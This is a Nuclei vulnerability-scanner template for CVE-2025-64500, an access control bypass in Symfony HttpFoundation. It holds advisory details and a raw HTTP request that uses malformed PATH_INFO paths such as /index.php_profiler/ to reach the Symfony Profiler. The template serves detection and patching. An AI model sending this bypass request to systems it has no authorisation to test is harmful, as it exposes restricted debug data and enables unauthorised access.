id: CVE-2025-64500

info:
  name: Symfony HttpFoundation - Access Control Bypass via PATH_INFO
  author: DhiyaneshDk
  severity: high
  description: |
    Symfony HttpFoundation component >= 2.0.0 and prior to versions 5.4.50, 6.4.29, and 7.3.7 contains an access control bypass vulnerability. The Request class improperly interprets some PATH_INFO values, producing URL paths without a leading `/`. This allows bypassing access control rules that are built with the `/-prefix` assumption.
  impact: |
    Attackers can bypass access control rules, potentially gaining unauthorized access to restricted resources.
  remediation: Update to Symfony versions 5.4.50, 6.4.29, or 7.3.7 or later.
  reference:
    - https://github.com/symfony/symfony/security/advisories/GHSA-3rg7-wf37-54rm
    - https://symfony.com/blog/cve-2025-64500-incorrect-parsing-of-path-info-can-lead-to-limited-authorization-bypass
    - https://github.com/symfony/symfony/commit/9962b91b12bb791322fa73836b350836b6db7cac
    - https://nvd.nist.gov/vuln/detail/CVE-2025-64500
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2025-64500
    cwe-id: CWE-647
    epss-score: 0.01297
    epss-percentile: 0.66625
  metadata:
    verified: true
    max-request: 2
    vendor: sensiolabs
    product: symfony
    shodan-query: cpe:"cpe:2.3:a:sensiolabs:symfony"
  tags: cve,cve2025,symfony,auth-bypass

http:
  - raw:
      - |
        GET /{{front_controller}}_profiler/ HTTP/1.1
        Host: {{Hostname}}

    payloads:
      front_controller:
        - "index.php"
        - "app.php"

    stop-at-first-match: true

    matchers:
      - type: word
        part: body
        words:
          - "Symfony Profiler"
          - "<title>Profiler</title>"
          - "Symfony-Debug-Toolbar"
        condition: or
# digest: 4a0a0047304502200f47ab0663d90a9ab55810ff0a6e19ba0e1ad31c1d2cf5e6bde7eb9d6cd3ba3d022100f4e06098d979c4900a35495db9b41d008f67011e6755aac7a442ea209ce85583:922c64590222798bb761d5b6d8e72950